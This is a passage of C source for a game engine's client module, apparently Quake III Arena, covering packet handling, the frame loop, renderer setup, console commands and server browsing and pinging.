!Q_stricmp(c, "connectResponse") ) { if ( cls.state >= CA_CONNECTED ) { Com_Printf ("Dup connect received. Ignored.\n"); return; } if ( cls.state != CA_CHALLENGING ) { Com_Printf ("connectResponse packet while not connecting. Ignored.\n"); return; } if ( !NET_CompareBaseAdr( from, clc.serverAddress ) ) { Com_Printf( "connectResponse from a different address. Ignored.\n" ); Com_Printf( "%s should have been %s\n", NET_AdrToString( from ), NET_AdrToString( clc.serverAddress ) ); return; } Netchan_Setup (NS_CLIENT, &clc.netchan, from, Cvar_VariableValue( "net_qport" ) ); cls.state = CA_CONNECTED; clc.lastPacketSentTime = -9999; // send first packet immediately return; } // server responding to an info broadcast if ( !Q_stricmp(c, "infoResponse") ) { CL_ServerInfoPacket( from, msg ); return; } // server responding to a get playerlist if ( !Q_stricmp(c, "statusResponse") ) { CL_ServerStatusResponse( from, msg ); return; } // a disconnect message from the server, which will happen if the server // dropped the connection but it is still getting packets from us if (!Q_stricmp(c, "disconnect")) { CL_DisconnectPacket( from ); return; } // echo request from server if ( !Q_stricmp(c, "echo") ) { NET_OutOfBandPrint( NS_CLIENT, from, "%s", Cmd_Argv(1) ); return; } // cd check if ( !Q_stricmp(c, "keyAuthorize") ) { // we don't use these now, so dump them on the floor return; } // global MOTD from id if ( !Q_stricmp(c, "motd") ) { CL_MotdPacket( from ); return; } // echo request from server if ( !Q_stricmp(c, "print") ) { s = MSG_ReadString( msg ); Q_strncpyz( clc.serverMessage, s, sizeof( clc.serverMessage ) ); Com_Printf( "%s", s ); return; } // echo request from server if ( !Q_strncmp(c, "getserversResponse", 18) ) { CL_ServersResponsePacket( from, msg ); return; } Com_DPrintf ("Unknown connectionless packet command.\n"); } /* ================= CL_PacketEvent A packet has arrived from the main event loop ================= */ void CL_PacketEvent( netadr_t from, msg_t *msg ) { int headerBytes; clc.lastPacketTime = cls.realtime; if ( msg->cursize >= 4 && *(int *)msg->data == -1 ) { CL_ConnectionlessPacket( from, msg ); return; } if ( cls.state < CA_CONNECTED ) { return; // can't be a valid sequenced packet } if ( msg->cursize < 4 ) { Com_Printf ("%s: Runt packet\n",NET_AdrToString( from )); return; } // // packet from server // if ( !NET_CompareAdr( from, clc.netchan.remoteAddress ) ) { Com_DPrintf ("%s:sequenced packet without connection\n" ,NET_AdrToString( from ) ); // FIXME: send a client disconnect? return; } if (!CL_Netchan_Process( &clc.netchan, msg) ) { return; // out of order, duplicated, etc } // the header is different lengths for reliable and unreliable messages headerBytes = msg->readcount; // track the last message received so it can be returned in // client messages, allowing the server to detect a dropped // gamestate clc.serverMessageSequence = LittleLong( *(int *)msg->data ); clc.lastPacketTime = cls.realtime; CL_ParseServerMessage( msg ); // // we don't know if it is ok to save a demo message until // after we have parsed the frame // if ( clc.demorecording && !clc.demowaiting ) { CL_WriteDemoMessage( msg, headerBytes ); } } /* ================== CL_CheckTimeout ================== */ void CL_CheckTimeout( void ) { // // check timeout // if ( ( !cl_paused->integer || !sv_paused->integer ) && cls.state >= CA_CONNECTED && cls.state != CA_CINEMATIC && cls.realtime - clc.lastPacketTime > cl_timeout->value*1000) { if (++cl.timeoutcount > 5) { // timeoutcount saves debugger Com_Printf ("\nServer connection timed out.\n"); CL_Disconnect( qtrue ); return; } } else { cl.timeoutcount = 0; } } //============================================================================ /* ================== CL_CheckUserinfo ================== */ void CL_CheckUserinfo( void ) { // don't add reliable commands when not yet connected if ( cls.state < CA_CHALLENGING ) { return; } // don't overflow the reliable command buffer when paused if ( cl_paused->integer ) { return; } // send a reliable userinfo update if needed if ( cvar_modifiedFlags & CVAR_USERINFO ) { cvar_modifiedFlags &= ~CVAR_USERINFO; CL_AddReliableCommand( va("userinfo \"%s\"", Cvar_InfoString( CVAR_USERINFO ) ) ); } } /* ================== CL_Frame ================== */ void CL_Frame ( int msec ) { if ( !com_cl_running->integer ) { return; } if ( cls.cddialog ) { // bring up the cd error dialog if needed cls.cddialog = qfalse; VM_Call( uivm, UI_SET_ACTIVE_MENU, UIMENU_NEED_CD ); } else if ( cls.state == CA_DISCONNECTED && !( cls.keyCatchers & KEYCATCH_UI ) && !com_sv_running->integer ) { // if disconnected, bring up the menu S_StopAllSounds(); VM_Call( uivm, UI_SET_ACTIVE_MENU, UIMENU_MAIN ); } // if recording an avi, lock to a fixed fps if ( cl_avidemo->integer && msec) { // save the current screen if ( cls.state == CA_ACTIVE || cl_forceavidemo->integer) { Cbuf_ExecuteText( EXEC_NOW, "screenshot silent\n" ); } // fixed time for next frame' msec = (1000 / cl_avidemo->integer) * com_timescale->value; if (msec == 0) { msec = 1; } } // save the msec before checking pause cls.realFrametime = msec; // decide the simulation time cls.frametime = msec; cls.realtime += cls.frametime; if ( cl_timegraph->integer ) { SCR_DebugGraph ( cls.realFrametime * 0.25, 0 ); } // see if we need to update any userinfo CL_CheckUserinfo(); // if we haven't gotten a packet in a long time, // drop the connection CL_CheckTimeout(); // send intentions now CL_SendCmd(); // resend a connection request if necessary CL_CheckForResend(); // decide on the serverTime to render CL_SetCGameTime(); // update the screen SCR_UpdateScreen(); // update audio S_Update(); // advance local effects for next frame SCR_RunCinematic(); Con_RunConsole(); cls.framecount++; } //============================================================================ /* ================ CL_RefPrintf DLL glue ================ */ void QDECL CL_RefPrintf( int print_level, const char *fmt, ...) { va_list argptr; char msg[MAXPRINTMSG]; va_start (argptr,fmt); Q_vsnprintf (msg, sizeof(msg), fmt, argptr); va_end (argptr); if ( print_level == PRINT_ALL ) { Com_Printf ("%s", msg); } else if ( print_level == PRINT_WARNING ) { Com_Printf (S_COLOR_YELLOW "%s", msg); // yellow } else if ( print_level == PRINT_DEVELOPER ) { Com_DPrintf (S_COLOR_RED "%s", msg); // red } } /* ============ CL_ShutdownRef ============ */ void CL_ShutdownRef( void ) { if ( !re.Shutdown ) { return; } re.Shutdown( qtrue ); Com_Memset( &re, 0, sizeof( re ) ); } /* ============ CL_InitRenderer ============ */ void CL_InitRenderer( void ) { // this sets up the renderer and calls R_Init re.BeginRegistration( &cls.glconfig ); // load character sets cls.charSetShader = re.RegisterShader( "gfx/2d/bigchars" ); cls.whiteShader = re.RegisterShader( "white" ); cls.consoleShader = re.RegisterShader( "console" ); g_console_field_width = cls.glconfig.vidWidth / SMALLCHAR_WIDTH - 2; g_consoleField.widthInChars = g_console_field_width; } /* ============================ CL_StartHunkUsers After the server has cleared the hunk, these will need to be restarted This is the only place that any of these functions are called from ============================ */ void CL_StartHunkUsers( void ) { if (!com_cl_running) { return; } if ( !com_cl_running->integer ) { return; } if ( !cls.rendererStarted ) { cls.rendererStarted = qtrue; CL_InitRenderer(); } if ( !cls.soundStarted ) { cls.soundStarted = qtrue; S_Init(); } if ( !cls.soundRegistered ) { cls.soundRegistered = qtrue; S_BeginRegistration(); } if ( !cls.uiStarted ) { cls.uiStarted = qtrue; CL_InitUI(); } } /* ============ CL_RefMalloc ============ */ void *CL_RefMalloc( int size ) { return Z_TagMalloc( size, TAG_RENDERER ); } int CL_ScaledMilliseconds(void) { return Sys_Milliseconds()*com_timescale->value; } /* ============ CL_InitRef ============ */ void CL_InitRef( void ) { refimport_t ri; refexport_t *ret; Com_Printf( "----- Initializing Renderer ----\n" ); ri.Cmd_AddCommand = Cmd_AddCommand; ri.Cmd_RemoveCommand = Cmd_RemoveCommand; ri.Cmd_Argc = Cmd_Argc; ri.Cmd_Argv = Cmd_Argv; ri.Cmd_ExecuteText = Cbuf_ExecuteText; ri.Printf = CL_RefPrintf; ri.Error = Com_Error; ri.Milliseconds = CL_ScaledMilliseconds; ri.Malloc = CL_RefMalloc; ri.Free = Z_Free; #ifdef HUNK_DEBUG ri.Hunk_AllocDebug = Hunk_AllocDebug; #else ri.Hunk_Alloc = Hunk_Alloc; #endif ri.Hunk_AllocateTempMemory = Hunk_AllocateTempMemory; ri.Hunk_FreeTempMemory = Hunk_FreeTempMemory; ri.CM_DrawDebugSurface = CM_DrawDebugSurface; ri.FS_ReadFile = FS_ReadFile; ri.FS_FreeFile = FS_FreeFile; ri.FS_WriteFile = FS_WriteFile; ri.FS_FreeFileList = FS_FreeFileList; ri.FS_ListFiles = FS_ListFiles; ri.FS_FileIsInPAK = FS_FileIsInPAK; ri.FS_FileExists = FS_FileExists; ri.Cvar_Get = Cvar_Get; ri.Cvar_Set = Cvar_Set; // cinematic stuff ri.CIN_UploadCinematic = CIN_UploadCinematic; ri.CIN_PlayCinematic = CIN_PlayCinematic; ri.CIN_RunCinematic = CIN_RunCinematic; ret = GetRefAPI( REF_API_VERSION, &ri ); #if defined __USEA3D && defined __A3D_GEOM hA3Dg_ExportRenderGeom (ret); #endif Com_Printf( "-------------------------------\n"); if ( !ret ) { Com_Error (ERR_FATAL, "Couldn't initialize refresh" ); } re = *ret; // unpause so the cgame definately gets a snapshot and renders a frame Cvar_Set( "cl_paused", "0" ); } //=========================================================================================== void CL_SetModel_f( void ) { char *arg; char name[256]; arg = Cmd_Argv( 1 ); if (arg[0]) { Cvar_Set( "model", arg ); Cvar_Set( "headmodel", arg ); } else { Cvar_VariableStringBuffer( "model", name, sizeof(name) ); Com_Printf("model is set to %s\n", name); } } /* ==================== CL_Init ==================== */ void CL_Init( void ) { Com_Printf( "----- Client Initialization -----\n" ); Con_Init (); CL_ClearState (); cls.state = CA_DISCONNECTED; // no longer CA_UNINITIALIZED cls.realtime = 0; CL_InitInput (); // // register our variables // cl_noprint = Cvar_Get( "cl_noprint", "0", 0 ); cl_motd = Cvar_Get ("cl_motd", "1", 0); cl_timeout = Cvar_Get ("cl_timeout", "200", 0); cl_timeNudge = Cvar_Get ("cl_timeNudge", "0", CVAR_TEMP ); cl_shownet = Cvar_Get ("cl_shownet", "0", CVAR_TEMP ); cl_showSend = Cvar_Get ("cl_showSend", "0", CVAR_TEMP ); cl_showTimeDelta = Cvar_Get ("cl_showTimeDelta", "0", CVAR_TEMP ); cl_freezeDemo = Cvar_Get ("cl_freezeDemo", "0", CVAR_TEMP ); rcon_client_password = Cvar_Get ("rconPassword", "", CVAR_TEMP ); cl_activeAction = Cvar_Get( "activeAction", "", CVAR_TEMP ); cl_timedemo = Cvar_Get ("timedemo", "0", 0); cl_avidemo = Cvar_Get ("cl_avidemo", "0", 0); cl_forceavidemo = Cvar_Get ("cl_forceavidemo", "0", 0); rconAddress = Cvar_Get ("rconAddress", "", 0); cl_yawspeed = Cvar_Get ("cl_yawspeed", "140", CVAR_ARCHIVE); cl_pitchspeed = Cvar_Get ("cl_pitchspeed", "140", CVAR_ARCHIVE); cl_anglespeedkey = Cvar_Get ("cl_anglespeedkey", "1.5", 0); cl_maxpackets = Cvar_Get ("cl_maxpackets", "30", CVAR_ARCHIVE ); cl_packetdup = Cvar_Get ("cl_packetdup", "1", CVAR_ARCHIVE ); cl_run = Cvar_Get ("cl_run", "1", CVAR_ARCHIVE); cl_sensitivity = Cvar_Get ("sensitivity", "5", CVAR_ARCHIVE); cl_mouseAccel = Cvar_Get ("cl_mouseAccel", "0", CVAR_ARCHIVE); cl_freelook = Cvar_Get( "cl_freelook", "1", CVAR_ARCHIVE ); cl_showMouseRate = Cvar_Get ("cl_showmouserate", "0", 0); cl_allowDownload = Cvar_Get ("cl_allowDownload", "0", CVAR_ARCHIVE); cl_conXOffset = Cvar_Get ("cl_conXOffset", "0", 0); #ifdef MACOS_X // In game video is REALLY slow in Mac OS X right now due to driver slowness cl_inGameVideo = Cvar_Get ("r_inGameVideo", "0", CVAR_ARCHIVE); #else cl_inGameVideo = Cvar_Get ("r_inGameVideo", "1", CVAR_ARCHIVE); #endif cl_serverStatusResendTime = Cvar_Get ("cl_serverStatusResendTime", "750", 0); // init autoswitch so the ui will have it correctly even // if the cgame hasn't been started Cvar_Get ("cg_autoswitch", "1", CVAR_ARCHIVE); m_pitch = Cvar_Get ("m_pitch", "0.022", CVAR_ARCHIVE); m_yaw = Cvar_Get ("m_yaw", "0.022", CVAR_ARCHIVE); m_forward = Cvar_Get ("m_forward", "0.25", CVAR_ARCHIVE); m_side = Cvar_Get ("m_side", "0.25", CVAR_ARCHIVE); #ifdef MACOS_X // Input is jittery on OS X w/o this m_filter = Cvar_Get ("m_filter", "1", CVAR_ARCHIVE); #else m_filter = Cvar_Get ("m_filter", "0", CVAR_ARCHIVE); #endif cl_motdString = Cvar_Get( "cl_motdString", "", CVAR_ROM ); Cvar_Get( "cl_maxPing", "800", CVAR_ARCHIVE ); // userinfo Cvar_Get ("name", "UnnamedPlayer", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("rate", "3000", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("snaps", "20", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("model", "sarge", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("headmodel", "sarge", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("team_model", "james", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("team_headmodel", "*james", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("g_redTeam", "Stroggs", CVAR_SERVERINFO | CVAR_ARCHIVE); Cvar_Get ("g_blueTeam", "Pagans", CVAR_SERVERINFO | CVAR_ARCHIVE); Cvar_Get ("color1", "4", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("color2", "5", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("handicap", "100", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("teamtask", "0", CVAR_USERINFO ); Cvar_Get ("sex", "male", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("cl_anonymous", "0", CVAR_USERINFO | CVAR_ARCHIVE ); Cvar_Get ("password", "", CVAR_USERINFO); Cvar_Get ("cg_predictItems", "1", CVAR_USERINFO | CVAR_ARCHIVE ); // cgame might not be initialized before menu is used Cvar_Get ("cg_viewsize", "100", CVAR_ARCHIVE ); // // register our commands // Cmd_AddCommand ("cmd", CL_ForwardToServer_f); Cmd_AddCommand ("configstrings", CL_Configstrings_f); Cmd_AddCommand ("clientinfo", CL_Clientinfo_f); Cmd_AddCommand ("snd_restart", CL_Snd_Restart_f); Cmd_AddCommand ("vid_restart", CL_Vid_Restart_f); Cmd_AddCommand ("disconnect", CL_Disconnect_f); Cmd_AddCommand ("record", CL_Record_f); Cmd_AddCommand ("demo", CL_PlayDemo_f); Cmd_AddCommand ("cinematic", CL_PlayCinematic_f); Cmd_AddCommand ("stoprecord", CL_StopRecord_f); Cmd_AddCommand ("connect", CL_Connect_f); Cmd_AddCommand ("reconnect", CL_Reconnect_f); Cmd_AddCommand ("localservers", CL_LocalServers_f); Cmd_AddCommand ("globalservers", CL_GlobalServers_f); Cmd_AddCommand ("rcon", CL_Rcon_f); Cmd_AddCommand ("setenv", CL_Setenv_f ); Cmd_AddCommand ("ping", CL_Ping_f ); Cmd_AddCommand ("serverstatus", CL_ServerStatus_f ); Cmd_AddCommand ("showip", CL_ShowIP_f ); Cmd_AddCommand ("fs_openedList", CL_OpenedPK3List_f ); Cmd_AddCommand ("fs_referencedList", CL_ReferencedPK3List_f ); Cmd_AddCommand ("model", CL_SetModel_f ); CL_InitRef(); SCR_Init (); Cbuf_Execute (); Cvar_Set( "cl_running", "1" ); Com_Printf( "----- Client Initialization Complete -----\n" ); } /* =============== CL_Shutdown =============== */ void CL_Shutdown( void ) { static qboolean recursive = qfalse; Com_Printf( "----- CL_Shutdown -----\n" ); if ( recursive ) { printf ("recursive shutdown\n"); return; } recursive = qtrue; CL_Disconnect( qtrue ); S_Shutdown(); CL_ShutdownRef(); CL_ShutdownUI(); Cmd_RemoveCommand ("cmd"); Cmd_RemoveCommand ("configstrings"); Cmd_RemoveCommand ("userinfo"); Cmd_RemoveCommand ("snd_restart"); Cmd_RemoveCommand ("vid_restart"); Cmd_RemoveCommand ("disconnect"); Cmd_RemoveCommand ("record"); Cmd_RemoveCommand ("demo"); Cmd_RemoveCommand ("cinematic"); Cmd_RemoveCommand ("stoprecord"); Cmd_RemoveCommand ("connect"); Cmd_RemoveCommand ("localservers"); Cmd_RemoveCommand ("globalservers"); Cmd_RemoveCommand ("rcon"); Cmd_RemoveCommand ("setenv"); Cmd_RemoveCommand ("ping"); Cmd_RemoveCommand ("serverstatus"); Cmd_RemoveCommand ("showip"); Cmd_RemoveCommand ("model"); Cvar_Set( "cl_running", "0" ); recursive = qfalse; Com_Memset( &cls, 0, sizeof( cls ) ); Com_Printf( "-----------------------\n" ); } static void CL_SetServerInfo(serverInfo_t *server, const char *info, int ping) { if (server) { if (info) { server->clients = atoi(Info_ValueForKey(info, "clients")); Q_strncpyz(server->hostName,Info_ValueForKey(info, "hostname"), MAX_NAME_LENGTH); Q_strncpyz(server->mapName, Info_ValueForKey(info, "mapname"), MAX_NAME_LENGTH); server->maxClients = atoi(Info_ValueForKey(info, "sv_maxclients")); Q_strncpyz(server->game,Info_ValueForKey(info, "game"), MAX_NAME_LENGTH); server->gameType = atoi(Info_ValueForKey(info, "gametype")); server->netType = atoi(Info_ValueForKey(info, "nettype")); server->minPing = atoi(Info_ValueForKey(info, "minping")); server->maxPing = atoi(Info_ValueForKey(info, "maxping")); server->punkbuster = atoi(Info_ValueForKey(info, "punkbuster")); } server->ping = ping; } } static void CL_SetServerInfoByAddress(netadr_t from, const char *info, int ping) { int i; for (i = 0; i < MAX_OTHER_SERVERS; i++) { if (NET_CompareAdr(from, cls.localServers[i].adr)) { CL_SetServerInfo(&cls.localServers[i], info, ping); } } for (i = 0; i < MAX_OTHER_SERVERS; i++) { if (NET_CompareAdr(from, cls.mplayerServers[i].adr)) { CL_SetServerInfo(&cls.mplayerServers[i], info, ping); } } for (i = 0; i < MAX_GLOBAL_SERVERS; i++) { if (NET_CompareAdr(from, cls.globalServers[i].adr)) { CL_SetServerInfo(&cls.globalServers[i], info, ping); } } for (i = 0; i < MAX_OTHER_SERVERS; i++) { if (NET_CompareAdr(from, cls.favoriteServers[i].adr)) { CL_SetServerInfo(&cls.favoriteServers[i], info, ping); } } } /* =================== CL_ServerInfoPacket =================== */ void CL_ServerInfoPacket( netadr_t from, msg_t *msg ) { int i, type; char info[MAX_INFO_STRING]; char* str; char *infoString; int prot; infoString = MSG_ReadString( msg ); // if this isn't the correct protocol version, ignore it prot = atoi( Info_ValueForKey( infoString, "protocol" ) ); if ( prot != PROTOCOL_VERSION ) { Com_DPrintf( "Different protocol info packet: %s\n", infoString ); return; } // iterate servers waiting for ping response for (i=0; i<MAX_PINGREQUESTS; i++) { if ( cl_pinglist[i].adr.port && !cl_pinglist[i].time && NET_CompareAdr( from, cl_pinglist[i].adr ) ) { // calc ping time cl_pinglist[i].time = cls.realtime - cl_pinglist[i].start + 1; Com_DPrintf( "ping time %dms from %s\n", cl_pinglist[i].time, NET_AdrToString( from ) ); // save of info Q_strncpyz( cl_pinglist[i].info, infoString, sizeof( cl_pinglist[i].info ) ); // tack on the net type // NOTE: make sure these types are in sync with the netnames strings in the UI switch (from.type) { case NA_BROADCAST: case NA_IP: str = "udp"; type = 1; break; case NA_IPX: case NA_BROADCAST_IPX: str = "ipx"; type = 2; break; default: str = "???"; type = 0; break; } Info_SetValueForKey( cl_pinglist[i].info, "nettype", va("%d", type) ); CL_SetServerInfoByAddress(from, infoString, cl_pinglist[i].time); return; } } // if not just sent a local broadcast or pinging local servers if (cls.pingUpdateSource != AS_LOCAL) { return; } for ( i = 0 ; i < MAX_OTHER_SERVERS ; i++ ) { // empty slot if ( cls.localServers[i].adr.port == 0 ) { break; } // avoid duplicate if ( NET_CompareAdr( from, cls.localServers[i].adr ) ) { return; } } if ( i == MAX_OTHER_SERVERS ) { Com_DPrintf( "MAX_OTHER_SERVERS hit, dropping infoResponse\n" ); return; } // add this to the list cls.numlocalservers = i+1; cls.localServers[i].adr = from; cls.localServers[i].clients = 0; cls.localServers[i].hostName[0] = '\0'; cls.localServers[i].mapName[0] = '\0'; cls.localServers[i].maxClients = 0; cls.localServers[i].maxPing = 0; cls.localServers[i].minPing = 0; cls.localServers[i].ping = -1; cls.localServers[i].game[0] = '\0'; cls.localServers[i].gameType = 0; cls.localServers[i].netType = from.type; cls.localServers[i].punkbuster = 0; Q_strncpyz( info, MSG_ReadString( msg ), MAX_INFO_STRING ); if (strlen(info)) { if (info[strlen(info)-1] != '\n') { strncat(info, "\n", sizeof(info)); } Com_Printf( "%s: %s", NET_AdrToString( from ), info ); } } /* =================== CL_GetServerStatus =================== */ serverStatus_t *CL_GetServerStatus( netadr_t from ) { serverStatus_t *serverStatus; int i, oldest, oldestTime; serverStatus = NULL; for (i = 0; i < MAX_SERVERSTATUSREQUESTS; i++) { if ( NET_CompareAdr( from, cl_serverStatusList[i].address ) ) { return &cl_serverStatusList[i]; } } for (i = 0; i < MAX_SERVERSTATUSREQUESTS; i++) { if ( cl_serverStatusList[i].retrieved ) { return &cl_serverStatusList[i]; } } oldest = -1; oldestTime = 0; for (i = 0; i < MAX_SERVERSTATUSREQUESTS; i++) { if (oldest == -1 || cl_serverStatusList[i].startTime < oldestTime) { oldest = i; oldestTime = cl_serverStatusList[i].startTime; } } if (oldest != -1) { return &cl_serverStatusList[oldest]; } serverStatusCount++; return &cl_serverStatusList[serverStatusCount & (MAX_SERVERSTATUSREQUESTS-1)]; } /* =================== CL_ServerStatus =================== */ int CL_ServerStatus( char *serverAddress, char *serverStatusString, int maxLen ) { int i; netadr_t to; serverStatus_t *serverStatus; // if no server address then reset all server status requests if ( !serverAddress ) { for (i = 0; i < MAX_SERVERSTATUSREQUESTS; i++) { cl_serverStatusList[i].address.port = 0; cl_serverStatusList[i].retrieved = qtrue; } return qfalse; } // get the address if ( !NET_StringToAdr( serverAddress, &to ) ) { return qfalse; } serverStatus = CL_GetServerStatus( to ); // if no server status string then reset the server status request for this address if ( !serverStatusString ) { serverStatus->retrieved = qtrue; return qfalse; } // if this server status request has the same address if ( NET_CompareAdr( to, serverStatus->address) ) { // if we recieved an response for this server status request if (!serverStatus->pending) { Q_strncpyz(serverStatusString, serverStatus->string, maxLen); serverStatus->retrieved = qtrue; serverStatus->startTime = 0; return qtrue; } // resend the request regularly else if ( serverStatus->startTime < Com_Milliseconds() - cl_serverStatusResendTime->integer ) { serverStatus->print = qfalse; serverStatus->pending = qtrue; serverStatus->retrieved = qfalse; serverStatus->time = 0; serverStatus->startTime = Com_Milliseconds(); NET_OutOfBandPrint( NS_CLIENT, to, "getstatus" ); return qfalse; } } // if retrieved else if ( serverStatus->retrieved ) { serverStatus->address = to; serverStatus->print = qfalse; serverStatus->pending = qtrue; serverStatus->retrieved = qfalse; serverStatus->startTime = Com_Milliseconds(); serverStatus->time = 0; NET_OutOfBandPrint( NS_CLIENT, to, "getstatus" ); return qfalse; } return qfalse; } /* =================== CL_ServerStatusResponse =================== */ void CL_ServerStatusResponse( netadr_t from, msg_t *msg ) { char *s; char info[MAX_INFO_STRING]; int i, l, score, ping; int len; serverStatus_t *serverStatus; serverStatus = NULL; for (i = 0; i < MAX_SERVERSTATUSREQUESTS; i++) { if ( NET_CompareAdr( from, cl_serverStatusList[i].address ) ) { serverStatus = &cl_serverStatusList[i]; break; } } // if we didn't request this server status if (!serverStatus) { return; } s = MSG_ReadStringLine( msg ); len = 0; Com_sprintf(&serverStatus->string[len], sizeof(serverStatus->string)-len, "%s", s); if (serverStatus->print) { Com_Printf("Server settings:\n"); // print cvars while (*s) { for (i = 0; i < 2 && *s; i++) { if (*s == '\\') s++; l = 0; while (*s) { info[l++] = *s; if (l >= MAX_INFO_STRING-1) break; s++; if (*s == '\\') { break; } } info[l] = '\0'; if (i) { Com_Printf("%s\n", info); } else { Com_Printf("%-24s", info); } } } } len = (int)strlen(serverStatus->string); Com_sprintf(&serverStatus->string[len], sizeof(serverStatus->string)-len, "\\"); if (serverStatus->print) { Com_Printf("\nPlayers:\n"); Com_Printf("num: score: ping: name:\n"); } for (i = 0, s = MSG_ReadStringLine( msg ); *s; s = MSG_ReadStringLine( msg ), i++) { len = (int)strlen(serverStatus->string); Com_sprintf(&serverStatus->string[len], sizeof(serverStatus->string)-len, "\\%s", s); if (serverStatus->print) { score = ping = 0; sscanf(s, "%d %d", &score, &ping); s = strchr(s, ' '); if (s) s = strchr(s+1, ' '); if (s) s++; else s = "unknown"; Com_Printf("%-2d %-3d %-3d %s\n", i, score, ping, s ); } } len = (int)strlen(serverStatus->string); Com_sprintf(&serverStatus->string[len], sizeof(serverStatus->string)-len, "\\"); serverStatus->time = Com_Milliseconds(); serverStatus->address = from; serverStatus->pending = qfalse; if (serverStatus->print) { serverStatus->retrieved = qtrue; } } /* ================== CL_LocalServers_f ================== */ void CL_LocalServers_f( void ) { char *message; int i, j; netadr_t to; Com_Printf( "Scanning for servers on the local network...\n"); // reset the list, waiting for response cls.numlocalservers = 0; cls.pingUpdateSource = AS_LOCAL; for (i = 0; i < MAX_OTHER_SERVERS; i++) { qboolean b = cls.localServers[i].visible; Com_Memset(&cls.localServers[i], 0, sizeof(cls.localServers[i])); cls.localServers[i].visible = b; } Com_Memset( &to, 0, sizeof( to ) ); // The 'xxx' in the message is a challenge that will be echoed back // by the server. We don't care about that here, but master servers // can use that to prevent spoofed server responses from invalid ip message = "\377\377\377\377getinfo xxx"; // send each message twice in case one is dropped for ( i = 0 ; i < 2 ; i++ ) { // send a broadcast packet on each server port // we support multiple server ports so a single machine // can nicely run multiple servers for ( j = 0 ; j < NUM_SERVER_PORTS ; j++ ) { to.port = BigShort( (short)(PORT_SERVER + j) ); to.type = NA_BROADCAST; NET_SendPacket( NS_CLIENT, (int)strlen( message ), message, to ); to.type = NA_BROADCAST_IPX; NET_SendPacket( NS_CLIENT, (int)strlen( message ), message, to ); } } } /* ================== CL_GlobalServers_f ================== */ void CL_GlobalServers_f( void ) { netadr_t to; int i; int count; char *buffptr; char command[1024]; if ( Cmd_Argc() < 3) { Com_Printf( "usage: globalservers <master# 0-1> <protocol> [keywords]\n"); return; } cls.masterNum = atoi( Cmd_Argv(1) ); Com_Printf( "Requesting servers from the master...\n"); // reset the list, waiting for response // -1 is used to distinguish a "no response" if( cls.masterNum == 1 ) { NET_StringToAdr( MASTER_SERVER_NAME, &to ); cls.nummplayerservers = -1; cls.pingUpdateSource = AS_MPLAYER; } else { NET_StringToAdr( MASTER_SERVER_NAME, &to ); cls.numglobalservers = -1; cls.pingUpdateSource = AS_GLOBAL; } to.type = NA_IP; to.port = BigShort(PORT_MASTER); sprintf( command, "getservers %s", Cmd_Argv(2) ); // tack on keywords buffptr = command + (int)strlen( command ); count = Cmd_Argc(); for (i=3; i<count; i++) buffptr += sprintf( buffptr, " %s", Cmd_Argv(i) ); // if we are a demo, automatically add a "demo" keyword if ( Cvar_VariableValue( "fs_restrict" ) ) { buffptr += sprintf( buffptr, " demo" ); } NET_OutOfBandPrint( NS_SERVER, to, command ); } /* ================== CL_GetPing ================== */ void CL_GetPing( int n, char *buf, int buflen, int *pingtime ) { const char *str; int time; int maxPing; if (!cl_pinglist[n].adr.port) { // empty slot buf[0] = '\0'; *pingtime = 0; return; } str = NET_AdrToString( cl_pinglist[n].adr ); Q_strncpyz( buf, str, buflen ); time = cl_pinglist[n].time; if (!time) { // check for timeout time = cls.realtime - cl_pinglist[n].start; maxPing = Cvar_VariableIntegerValue( "cl_maxPing" ); if( maxPing < 100 ) { maxPing = 100; } if (time < maxPing) { // not timed out yet time = 0; } } CL_SetServerInfoByAddress(cl_pinglist[n].adr, cl_pinglist[n].info, cl_pinglist[n].time); *pingtime = time; } /* ================== CL_UpdateServerInfo ================== */ void CL_UpdateServerInfo( int n ) { if (!cl_pinglist[n].adr.port) { return; } CL_SetServerInfoByAddress(cl_pinglist[n].adr, cl_pinglist[n].info, cl_pinglist[n].time ); } /* ================== CL_GetPingInfo ================== */ void CL_GetPingInfo( int n, char *buf, int buflen ) { if (!cl_pinglist[n].adr.port) { // empty slot if (buflen) buf[0] = '\0'; return; } Q_strncpyz( buf, cl_pinglist[n].info, buflen ); } /* ================== CL_ClearPing ================== */ void CL_ClearPing( int n ) { if (n < 0 || n >= MAX_PINGREQUESTS) return; cl_pinglist[n].adr.port = 0; } /* ================== CL_GetPingQueueCount ================== */ int CL_GetPingQueueCount( void ) { int i; int count; ping_t* pingptr; count = 0; pingptr = cl_pinglist; for (i=0; i<MAX_PINGREQUESTS; i++, pingptr++ ) { if (pingptr->adr.port) { count++; } } return (count); } /* ================== CL_GetFreePing ================== */ ping_t* CL_GetFreePing( void ) { ping_t* pingptr; ping_t* best; int oldest; int i; int time; pingptr = cl_pinglist; for (i=0; i<MAX_PINGREQUESTS; i++, pingptr++ ) { // find free ping slot if (pingptr->adr.port) { if (!pingptr->time) { if (cls.realtime - pingptr->start < 500) { // still waiting for response continue; } } else if (pingptr->time < 500) { // results have not been queried continue; } } // clear it pingptr->adr.port = 0; return (pingptr); } // use oldest entry pingptr = cl_pinglist; best = cl_pinglist; oldest = INT_MIN; for (i=0; i<MAX_PINGREQUESTS; i++, pingptr++ ) { // scan for oldest time = cls.realtime - pingptr->start; if (time > oldest) { oldest = time; best = pingptr; } } return (best); } /* ================== CL_Ping_f ================== */ void CL_Ping_f( void ) { netadr_t to; ping_t* pingptr; char* server; if ( Cmd_Argc() != 2 ) { Com_Printf( "usage: ping [server]\n"); return; } Com_Memset( &to, 0, sizeof(netadr_t) ); server = Cmd_Argv(1); if ( !NET_StringToAdr( server, &to ) ) { return; } pingptr = CL_GetFreePing(); memcpy( &pingptr->adr, &to, sizeof (netadr_t) ); pingptr->start = cls.realtime; pingptr->time = 0; CL_SetServerInfoByAddress(pingptr->adr, NULL, 0); NET_OutOfBandPrint( NS_CLIENT, to, "getinfo xxx" ); } /* ================== CL_UpdateVisiblePings_f ================== */ qboolean 